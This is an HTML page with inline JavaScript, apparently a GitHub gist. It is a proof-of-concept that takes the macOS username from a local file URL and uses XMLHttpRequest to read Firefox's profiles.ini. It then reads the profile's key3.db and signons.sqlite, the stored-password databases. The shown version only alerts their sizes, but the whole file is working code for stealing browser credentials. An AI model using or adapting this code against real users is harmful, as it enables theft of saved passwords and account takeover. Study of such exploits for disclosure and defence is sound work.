<html> | |
<head></head> | |
<body> | |
<script> | |
function firefox_password(){ | |
var username = location.href.match(/Users\/(.*?)\//)[1]; | |
var base = "/Users/" + username + "/Library/Application\ Support/Firefox/"; | |
var xhr = new XMLHttpRequest; | |
read_file(base + "profiles.ini", function(res){ | |
var v = res; | |
var profile_path = base + v.match(/Path=(.*?)\n/)[1]; | |
alert("profile path is " + profile_path); | |
read_file(profile_path + "/key3.db", function(res){ alert("key3.db: " + res.length + " bytes") }); | |
read_file(profile_path + "/signons.sqlite", function(res){ alert("signons.sqlite:" + res.length + " bytes") }); | |
}); | |
} | |
function read_file(path, callback){ | |
var xhr = new XMLHttpRequest; | |
xhr.open("GET", path, true); | |
xhr.onload = function(){ | |
callback(xhr.responseText); | |
}; | |
xhr.send(null); | |
} | |
firefox_password(); | |
</script> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment